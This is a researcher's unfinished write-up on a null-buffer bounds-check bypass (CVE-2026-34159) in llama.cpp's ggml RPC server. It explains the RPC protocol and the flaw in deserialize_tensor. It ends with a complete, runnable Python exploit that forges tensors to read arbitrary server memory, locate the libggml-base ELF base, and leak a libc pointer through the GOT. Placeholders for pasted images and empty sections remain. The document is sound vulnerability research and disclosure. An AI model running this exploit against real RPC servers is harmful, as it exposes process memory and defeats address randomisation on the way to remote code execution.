GGML RPC Null-Buffer Bypass Research Progress Report
Effected version: b8487 (and older)
Overview
CVE-2026-34159 occurred due to a serious lack of metadata consistency verification when the server received the rpc_tensors structure from the client via an RPC network connection. Procedure rpc_server::deserialize_tensor allowed client to control Buffer field = 0 (NULL) which disabled bounds checking, then server can accept a ggml_tensor stored raw data pointing to any address in themself
In this research, by my limit knowledge, I can just lead the bug to Arbitrary Read instead of RCE like the CVE show. But I will try to show as many details as possible about this bug
Build Environment
Enter the version before the patch:
git checkout bd6992180mkdir -p build && cd buildcmake -DCMAKE_BUILD_TYPE=Debug ..cmake --build . --config Debug -j$(nproc)cd ..#I use tinyllama model for fast performancewget -O models/tinyllama-1.1b-chat-v1.0.Q4_K_M.gguf \https://huggingface.co/TheBloke/TinyLlama-1.1B-Chat-v1.0-GGUF/resolve/main/tinyllama-1.1b-chat-v1.0.Q4_K_M.ggufStart the vulnerable RPC server binding to the localhost port:
./build/bin/rpc-server -H 127.0.0.1 -p 50052# or if you want to debuggdb --args ./rpc-serverBackground Knowledge
In this part, I read the code in the project so you can search that file like ggml.h or ggml-rpc.cpp
llama.cpp
It is an open source software library that perform inference on various LLM such as Llama, it has been considered as the facto standard as the core of almost all local inference tools, like Ollama and LM Studio
GGML Tensor Architecture
In llama.cpp project, tensor plays an important role in the entire physical computing capabilities of the model. Unlike regular data arrays, it have 2 duties inside them: stores multidimentional data arrays and manages metadata collections
Tensor structure can be formed like this:
struct rpc_tensor { uint64_t id; # tensor id uint32_t type; # ggml_type uint64_t buffer; # buffer address uint32_t ne[GGML_MAX_DIMS]; uint32_t nb[GGML_MAX_DIMS]; uint32_t op; # operation int32_t op_params[GGML_MAX_OP_PARAMS / sizeof(int32_t)]; # operation parameters int32_t flags; # tensor property flags uint64_t src[GGML_MAX_SRC]; # list of tensor ids uint64_t view_src; uint64_t view_offs; uint64_t data; # offset from buffer to put data char name[GGML_MAX_NAME];
char padding[4]; # memory alignment};uint32_t type
stored the element’s data type

ne and nb
ne: number of elements
nb: number of bytes
tensor in OS/server, is called plat multidimentional data arrays, which means it can be like this:
GGML supports for max of 4 Dimentions performing depend on ne (arrays are ne[0] ne[1] ne[2] ne[3])
- ne:
- ne[0]: number of elements in 1D (>=0)
- ne[1]: number of elements in 2D (if not, should be 1)
- ne[2]: number of elements in 3D (if not, should be 1)
- ne[3]: number of elements in 4D (if not, should be 1)
If you have a 4x3 dimentions, basically, ne[0] = 4 and ne[1] = 3 , ne[2] = 1, ne[3] = 1
It is used to declare the number of dimensions and calculate the size of alloc buffer (ne[0] x ne[1] x ne[2] x ne[3] and that why it should be 1)
- nb:
- nb[0]: size of tensor type, also bytes to next to the next elements in 1D
- nb[1]: number of strides to 2D (nb[0] x ne[0])
- nb[2]: number of strides to 3D (nb[1] x ne[1])
- nb[3]: number of strides to 4D (nb[2] x ne[2])
In this project, I will use F32 type (float32 - 4bytes) to exploit, so nb[0] is defaulted by 4
Remote Procedure Call (RPC) Mechanism in llama.cpp
To support distributed computing and leverage hardware acceleration across multiple network-connected devices, llama.cpp implements a custom RPC framework (primarily perform in ggml-rpc.cpp)
In a standard distributed inference session, the architecture is divided into two distinct sides:
The RPC Client (llama cli)
The RPC Server (rpc-server)
So in this time I will need to connect it locally by host a terminal server side
Protocol Connecting
The ggml-rpc subsystem employs a strictly defined communication protocol for some reasons. The data exchange is not an unstructured stream of bytes; rather, it is a state machine driven by specific Command ID
Read this:
static void rpc_serve_client(const std::vector<ggml_backend_t> & backends, const char * cache_dir, sockfd_t sockfd) { rpc_server server(backends, cache_dir); uint8_t cmd; if (!recv_data(sockfd, &cmd, 1)) { return; } // the first command sent by the client must be HELLO if (cmd != RPC_CMD_HELLO) { GGML_LOG_ERROR("Expected HELLO command, update client\n"); return; } if (!recv_msg(sockfd, nullptr, 0)) { return; } rpc_msg_hello_rsp response; server.hello(response); if (!send_msg(sockfd, &response, sizeof(response))) { return; } while (true) { // ...I can see that, it check cmd of HELLO first, then use recv_msg function
the cmds were listed:
enum rpc_cmd { RPC_CMD_ALLOC_BUFFER = 0, RPC_CMD_GET_ALIGNMENT, RPC_CMD_GET_MAX_SIZE, RPC_CMD_BUFFER_GET_BASE, RPC_CMD_FREE_BUFFER, RPC_CMD_BUFFER_CLEAR, RPC_CMD_SET_TENSOR, RPC_CMD_SET_TENSOR_HASH, RPC_CMD_GET_TENSOR, RPC_CMD_COPY_TENSOR, RPC_CMD_GRAPH_COMPUTE, RPC_CMD_GET_DEVICE_MEMORY, RPC_CMD_INIT_TENSOR, RPC_CMD_GET_ALLOC_SIZE, RPC_CMD_HELLO, RPC_CMD_DEVICE_COUNT, RPC_CMD_GRAPH_RECOMPUTE, RPC_CMD_COUNT,};I will need this list in the future
And when I see which loop:
rpc_msg_hello_rsp response; server.hello(response); if (!send_msg(sockfd, &response, sizeof(response))) { return; } while (true) { if (!recv_data(sockfd, &cmd, 1)) { break; } if (cmd >= RPC_CMD_COUNT) { // RPC_CMD_COUNT is the number of valid commands // fail fast if the command is invalid GGML_LOG_ERROR("Unknown command: %d\n", cmd); break; } switch (cmd) { case RPC_CMD_HELLO: { // HELLO command is handled above return; } case RPC_CMD_GET_ALLOC_SIZE: { rpc_msg_get_alloc_size_req request; if (!recv_msg(sockfd, &request, sizeof(request))) { return; } rpc_msg_get_alloc_size_rsp response; if (!server.get_alloc_size(request, response)) { return; } if (!send_msg(sockfd, &response, sizeof(response))) { return; } break; } case RPC_CMD_ALLOC_BUFFER: { rpc_msg_alloc_buffer_req request; if (!recv_msg(sockfd, &request, sizeof(request))) { return; } rpc_msg_alloc_buffer_rsp response; if (!server.alloc_buffer(request, response)) { return; } if (!send_msg(sockfd, &response, sizeof(response))) { return; } break; } ...I realized that if (!recv_data(sockfd, &cmd, 1)) { means it will get 1 byte of data (which 99% of CMD id to check what they are work with) then it uses recv_msg function for most CMD (excepted some unique CMD)
static bool recv_msg(sockfd_t sockfd, void * msg, size_t msg_size) { uint64_t size; if (!recv_data(sockfd, &size, sizeof(size))) { return false; } if (size != msg_size) { return false; } return recv_data(sockfd, msg, msg_size);}It receives 8 byte of data size (sizeof(size), size is uint64_t)
So the packet layout:

GRAPH_COMPUTE Internals
After understanding the basic RPC commands, I focused on the GRAPH_COMPUTE command because it is responsible for executing computation graphs supplied by remote clients
From a high-level perspective, GRAPH_COMPUTE receives a serialized graph from the client, reconstructs the graph on the server side, and then passes it to the GGML backend for execution
The overall execution flow can be summarized as follows:

Entry Point
[Dán ảnh code đoạn xử lý GRAPH_COMPUTE]
When the server receives a GRAPH_COMPUTE request, it begins reading the serialized graph data from the socket and starts reconstructing the graph structure in memory.
At this stage, no GGML graph objects exist yet. The server is only working with serialized data provided by the client.
Graph Reconstruction
[Dán ảnh code đoạn create_node hoặc vòng lặp build graph]
The graph is rebuilt node by node.
For each node, the server:
- Reads the node metadata.
- Reconstructs the corresponding tensor.
- Restores dependencies between nodes.
- Inserts the node into the newly created graph.
Once this process completes, the server has reconstructed a valid GGML computation graph from client-controlled data.
Tensor Reconstruction
While tracing the graph reconstruction logic, I observed that most nodes are created through a tensor deserialization process.
[Dán ảnh code đoạn deserialize_tensor được gọi]
As a result, deserialize_tensor() immediately became an interesting target for further analysis, since every tensor used by the graph passes through this function.
The execution path can therefore be simplified as:
GRAPH_COMPUTE ↓create_node() ↓deserialize_tensor()All tensor metadata provided by the client is processed here before the graph reaches the execution stage.
Backend Execution
After the graph has been fully reconstructed, it is passed to the GGML backend for execution.
[Dán ảnh code đoạn ggml_backend_graph_compute]
The backend then iterates through each node in the graph and executes the corresponding operation.
Examples include:
GGML_OP_ADDGGML_OP_MULGGML_OP_CPY- and many others
Importantly, these operations directly use the tensor objects that were previously reconstructed from client-supplied data.
This observation motivated a deeper investigation into the tensor deserialization process, particularly how tensor fields are restored and how client-controlled metadata influences the final tensor structure.
The next section focuses on deserialize_tensor() and explains how its reconstruction logic eventually leads to an arbitrary memory read primitive.
PLT and GOT Mechanics
General flow of process
Root cause analysis
The bug resides in the logicaL branching of the deserialize_tensor function inside ‘ggml-rpc.cpp`
When reconstructing the pointer to the physical data block, server attemps to verify if tensor is attached to a managed buffer
struct ggml_tensor * result = deserialize_tensor(ctx, tensor); if (result == nullptr) { return nullptr; }
// ...In bug file, there are two function that have the contradictory names are serialize_tensor and deserialize_tensor. Like their names, the serialize_tensor used to convert client’s input data into a list of integer byte to valid the TCP stream and send to server, while deserialize_tensor will remake ggml_tensor from that received data
You can see the input parameters include ctx and tensor that ctx just alloc buffer (fixed num) for input pack. After remake server’s tensor, it check that tensor for if it is equal to 0, but not check the input buffer data inner (tensor->buffer), then bug manifests when attacker set it to 0
In flow of deserialize_tensor, from if (result->buffer) { which means if buffer data of server’s tensor != 0, it will check:
GGML_ASSERT(tensor->data + tensor_size >= tensor->data); // check for overflowGGML_ASSERT(tensor->data >= buffer_start && tensor->data + tensor_size <= buffer_start + buffer_size);- Check 1: Avoid overflow if tensor_size < 0 (0xffff.. so big)
- Check 2:

Then if I set data->buffer = 0, it will pass the this check code part, go to asigning data for op, op_params, flags, name and especially data which appears in above checking part but now when buffer = 0, data can point to anywhere in the rpc server, control over where server will read or write during subsequent mathematical operations
This data is heavily linked in the attack flow later
ggml_tensor * rpc_server::deserialize_tensor(struct ggml_context * ctx, const rpc_tensor * tensor) {
// ...
if (result->buffer) { // require that the tensor data does not go beyond the buffer end uint64_t tensor_size = (uint64_t) ggml_nbytes(result); uint64_t buffer_start = (uint64_t) ggml_backend_buffer_get_base(result->buffer); uint64_t buffer_size = (uint64_t) ggml_backend_buffer_get_size(result->buffer); GGML_ASSERT(tensor->data + tensor_size >= tensor->data); // check for overflow GGML_ASSERT(tensor->data >= buffer_start && tensor->data + tensor_size <= buffer_start + buffer_size); }
result->op = (ggml_op) tensor->op; for (uint32_t i = 0; i < GGML_MAX_OP_PARAMS / sizeof(int32_t); i++) { result->op_params[i] = tensor->op_params[i]; } result->flags = tensor->flags; result->data = reinterpret_cast<void *>(tensor->data); ggml_set_name(result, tensor->name); return result;}Proof-of-Concept
Socket Connection
The exploit begins by ebtablishing a TCP connection to rpc server (local running)
Depend on above knowledge, the pack form to bypass is [1-byte CMD ID][8-byte payload size][payload] and this is the request data struct for every command and other general struct in all process, required for my script

After trying many times with recvall, I have found the optimal way to send and receive to the server by my custom function (reference from available script)
Initially I used recvall() to receive the entire response stream.Although this worked, the returned data was difficult to analyze because multiple protocol fields were mixed together in a single byte stream. To simplify debugging, I implemented recv_n() and recv_msg() to ensure that the exact number of bytes specified in the message header is received before parsing
# ...RPC_CMD_HELLO = 14
def exploit(host, port):
# ...
#HELLO (required) def hello(): send_cmd(RPC_CMD_HELLO, b'') time.sleep(1) resp = recv_msg() return struct.unpack('<BBB', resp) print("Send HELLO") major, minor, patch = hello() print(f"Version {major}.{minor}.{patch}") cnt.close() # ...
After understanding the RPC protocol format and reviewing the command handlers implemented inside the server, I analyzed the available RPC commands and their purposes
Although the RPC interface exposes multiple commands, only a small subset is required for constructing the arbitrary read primitive. Therefore, instead of interacting with every available RPC feature, I focused only on the commands that directly participate in tensor creation, graph execution, and memory retrieval
The following commands were selected:
| Command | ID | Fumction |
|---|---|---|
| RPC_CMD_HELLO | 14 | Default handshake |
| RPC_CMD_ALLOC_BUFFER | 0 | Allocate a backend buffer on the remote server |
| RPC_CMD_BUFFER_GET_BASE | 3 | Obtain the base address of the allocated buffer |
| RPC_CMD_GET_TENSOR | 8 | Retrieve data copied into the destination tensor buffer |
| RPC_CMD_GRAPH_COMPUTE | 10 | Trigger execution of the crafted computation graph |
Other RPC commands were checked during the initial analysis phase but were ultimately unnecessary for exploitation. Since the objective is to achieve arbitrary memory disclosure through a faked tensor graph, the above command set is sufficient to construct the complete attack chain
The following helper functions were implemented to interact with the selected RPC commands
def alloc_buffer(device, size): send_cmd(RPC_CMD_ALLOC_BUFFER, struct.pack('<IQ', device, size)) resp = recv_msg() remote_ptr, remote_size = struct.unpack('<QQ', resp) return remote_ptr, remote_size
def get_base(remote_ptr): send_cmd(RPC_CMD_BUFFER_GET_BASE, struct.pack('<Q', remote_ptr)) resp = recv_msg() base_ptr = struct.unpack('<Q', resp)[0] return base_ptr
def get_tensor(rpc_tensor, offset, size): req = rpc_tensor req += struct.pack('<Q', offset) #offset req += struct.pack('<Q', size) #size send_cmd(RPC_CMD_GET_TENSOR, req) resp = recv_msg() return resp #Check print("Send HELLO") major, minor, patch = hello() print(f"Version {major}.{minor}.{patch}") remote_ptr, remote_size = alloc_buffer(0, 0x1000) print(f"Allocated buffer at {hex(remote_ptr)} with size {hex(remote_size)}") base_ptr = get_base(remote_ptr) print(f"Base pointer of allocated buffer: {hex(base_ptr)}")
Next, the most important step is to initialize the tensor structure, which is necessary for using the GRAPH_COMPUTE command to process it
struct rpc_tensor { uint64_t id; uint32_t type; uint64_t buffer; uint32_t ne[GGML_MAX_DIMS]; uint32_t nb[GGML_MAX_DIMS]; uint32_t op; int32_t op_params[GGML_MAX_OP_PARAMS / sizeof(int32_t)]; int32_t flags; uint64_t src[GGML_MAX_SRC]; uint64_t view_src; uint64_t view_offs; uint64_t data; char name[GGML_MAX_NAME];
char padding[4];};Based on the struct declared in the code file, I have recreated a tensor with a size of 296 bytes (according to calculations), using loop to define ne and nb, and set unnecessary parameters to 0 (like op_params, view_src, view_offs, name and padding)
def build_tensor(id, buffer, data, op, srcs, n_elems, flags): nb0 = 4 nb1 = n_elems * 4 # Assuming float32
tensor = struct.pack('<Q', id) #id tensor += struct.pack('<I', GGML_TYPE_F32) #type tensor += struct.pack('<Q', buffer) #buffer
for j in [n_elems, 1, 1, 1]: tensor += struct.pack('<I', j) #ne[GGML_MAX_DIMS] for k in [nb0, nb1, nb1, nb1]: tensor += struct.pack('<I', k) #nb[GGML_MAX_DIMS]
tensor += struct.pack('<I', op) #op tensor += b"\x00" * 64 #op_param tensor += struct.pack('<i', flags) #flags for i in range(GGML_MAX_SRC): tensor += struct.pack('<Q', srcs[i] if i < len(srcs) else 0) #srcs tensor += struct.pack('<Q', 0) #view_src tensor += struct.pack('<Q', 0) #view_offs tensor += struct.pack('<Q', data) #data tensor += b'\x00' * 64 #name tensor += b'\x00' * 4 #padding
assert len(tensor) == 296 return tensorAfter creating the tensor, I built GRAPH_COMPUTE using the structure described in the knowledge section
| device (4 bytes) | n_nodes (4 bytes) | nodes (n_nodes * sizeof(uint64_t) | n_tensors (4 bytes) | tensors (n_tensors * sizeof(rpc_tensor)) |
The copy primitive implemented by GGML_OP_CPY requires two tensors:
- a source tensor whose data field points to the target address
- a destination tensor backed by a valid remote buffer
During graph execution, the server performs a copy operation from src->data to dst->data
This behavior forms the basis of the arbitrary read primitive
def graph_compute(remote_ptr, buffer_base, target_addr, n_bytes): n_elems = max((n_bytes + 3) // 4, 1) #id buffer data op srcs n_elems flags src_tensor = build_tensor(0x1337, 0, target_addr, GGML_OP_NONE, [], n_elems, 0) dst_tensor = build_tensor(0x1338, remote_ptr, buffer_base, GGML_OP_CPY, [0x1337], n_elems, 16)
req = struct.pack('<I', 0) #device req += struct.pack('<I', 1) #n_nodes req += struct.pack('<Q', 0x1338) #node_id[0] req += struct.pack('<I', 2) #n_tensors req += src_tensor + dst_tensor #tensors
send_cmd(RPC_CMD_GRAPH_COMPUTE, req) #GET_TENSOR read_tensor = build_tensor(0x1338, remote_ptr, buffer_base, GGML_OP_NONE, [], n_elems, 0) resp = get_tensor(read_tensor, 0, n_bytes) print(f"Received data: {resp.hex()}") return respTriggering the Vulnerability
Exfiltration
Vulnerability analysing
I will go details here!
Exploit
#!/usr/bin/env python3import socketimport structimport time
#define RPC command constantsRPC_CMD_ALLOC_BUFFER = 0RPC_CMD_BUFFER_GET_BASE = 3RPC_CMD_GET_TENSOR = 8RPC_CMD_GRAPH_COMPUTE = 10RPC_CMD_HELLO = 14
TENSOR_SIZE = 296GGML_TYPE_F32 = 0GGML_OP_NONE = 0GGML_OP_CPY = 34GGML_MAX_SRC = 10
def exploit(host, port): # create a socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to the server s.connect((host, port))
def send_cmd(cmd, payload): s.sendall(struct.pack('<B', cmd)) s.sendall(struct.pack('<Q', len(payload))) s.sendall(payload)
def recv_n(sock, n): data = b'' while len(data) < n: x = sock.recv(n-len(data)) if not x: raise EOFError data += x return data
def recv_msg(): size = struct.unpack('<Q', recv_n(s, 8))[0] return recv_n(s, size)
#cmd implementations def hello(): send_cmd(RPC_CMD_HELLO, b'') time.sleep(1) resp = recv_msg() return struct.unpack('<BBB', resp)
def alloc_buffer(device, size): send_cmd(RPC_CMD_ALLOC_BUFFER, struct.pack('<IQ', device, size)) resp = recv_msg() remote_ptr, remote_size = struct.unpack('<QQ', resp) return remote_ptr, remote_size
def get_base(remote_ptr): send_cmd(RPC_CMD_BUFFER_GET_BASE, struct.pack('<Q', remote_ptr)) resp = recv_msg() base_ptr = struct.unpack('<Q', resp)[0] return base_ptr
def get_tensor(rpc_tensor, offset, size): req = rpc_tensor req += struct.pack('<Q', offset) #offset req += struct.pack('<Q', size) #size send_cmd(RPC_CMD_GET_TENSOR, req) resp = recv_msg() return resp
# tensor structure def build_tensor(id, buffer, data, op, srcs, n_elems, flags): nb0 = 4 nb1 = n_elems * 4 # Assuming float32
tensor = struct.pack('<Q', id) #id tensor += struct.pack('<I', GGML_TYPE_F32) #type tensor += struct.pack('<Q', buffer) #buffer
for j in [n_elems, 1, 1, 1]: tensor += struct.pack('<I', j) #ne[GGML_MAX_DIMS] for k in [nb0, nb1, nb1, nb1]: tensor += struct.pack('<I', k) #nb[GGML_MAX_DIMS]
tensor += struct.pack('<I', op) #op tensor += b"\x00" * 64 #op_param tensor += struct.pack('<i', flags) #flags for i in range(GGML_MAX_SRC): tensor += struct.pack('<Q', srcs[i] if i < len(srcs) else 0) #srcs tensor += struct.pack('<Q', 0) #view_src tensor += struct.pack('<Q', 0) #view_offs tensor += struct.pack('<Q', data) #data tensor += b'\x00' * 64 #name tensor += b'\x00' * 4 #padding
assert len(tensor) == TENSOR_SIZE return tensor
# ar read def arbitrary_read(remote_ptr, buffer_base, target_addr, n_bytes): n_elems = max((n_bytes + 3) // 4, 1) #id buffer data op srcs n_elems flags src_tensor = build_tensor(0x3001, 0, target_addr, GGML_OP_NONE, [], n_elems, 0) dst_tensor = build_tensor(0x3002, remote_ptr, buffer_base, GGML_OP_CPY, [0x3001], n_elems, 16)
req = struct.pack('<I', 0) #device req += struct.pack('<I', 1) #n_nodes req += struct.pack('<Q', 0x3002) #node_id[0] req += struct.pack('<I', 2) #n_tensors req += src_tensor + dst_tensor #tensors
send_cmd(RPC_CMD_GRAPH_COMPUTE, req) read_tensor = build_tensor(0x3002, remote_ptr, buffer_base, GGML_OP_NONE, [], n_elems, 0) resp = get_tensor(read_tensor, 0, n_bytes) print(f" [-] Received data: {resp.hex()}") return resp
def read_qword(remote_ptr, buffer_base, addr): data = arbitrary_read(remote_ptr, buffer_base, addr, 8) return struct.unpack('<Q', data[:8])[0] if len(data) >= 8 else None
def read_dword(remote_ptr, buffer_base, addr): data = arbitrary_read(remote_ptr, buffer_base, addr, 4) return struct.unpack('<I', data[:4])[0] if len(data) >= 4 else None
# attack flow function def exp(): # connect and get server version print("[+]Connecting to server...") minor, major, patch = hello() print(f"[+]Server version: {major}.{minor}.{patch}\n")
#Step 1 print("1. Allocating buffer") remote_ptr, remote_size = alloc_buffer(0, 0x1000) print(" [-] remote_ptr =", hex(remote_ptr)) print(" [-] remote_size =", hex(remote_size), "\n")
#Step 2 print("2. Getting buffer base") buffer_base = get_base(remote_ptr) print(" [-] buffer_base =", hex(buffer_base), "\n")
#Step 3 print("3. Leaking iface.get_base poiinter and scan for ELF base") get_base_pointer = read_qword(remote_ptr, buffer_base, remote_ptr + 8) print(" [-] iface.get_base =", hex(get_base_pointer), "\n")
if not get_base_pointer or get_base_pointer < 0x700000000000: print(" [-] The memory layout is misaligned, or the function reading the tensor structure is encountering errors") return
addr = get_base_pointer & ~0xFFF libbase_base = None for step in range(0x800): sig = read_dword(remote_ptr, buffer_base, addr) if sig == 0x464c457f: # the integer value of b'\x7fELF' libbase_base = addr print(f"\n [-] libggml-base.so ELF BASE in: {hex(libbase_base)} (loop: {step+1})") break addr -= 0x1000 if not libbase_base: print(" [!] No suitable ELF structure was found") return
# objdump -R ./build/bin/libggml-base.so | grep memcpy BASE_GOT_MEMCPY = 0x10d7e8
target_got_addr = libbase_base + BASE_GOT_MEMCPY print(f"\n4. Reading GOT[memcpy] to leak Libc") print(f" [-] Target GOT Address: {hex(target_got_addr)}") memcpy_addr = read_qword(remote_ptr, buffer_base, target_got_addr)
# check memcpy_addr if not memcpy_addr: print(" [!] Unable to read data from the GOT table") return
print(f" [-] Raw data read from GOT: {hex(memcpy_addr)}") if (memcpy_addr & 0x7ffff0000000) == 0x7fff00000000 or (memcpy_addr & 0x7f0000000000) == 0x7f0000000000: print(f" [-] memcpy address in Libc: {hex(memcpy_addr)}") else: print("\n [!] The value read is not a valid Libc pointer") print("\nConnection Closed!")
# calling function exp() s.close()
if __name__ == "__main__": exploit("127.0.0.1", 50052)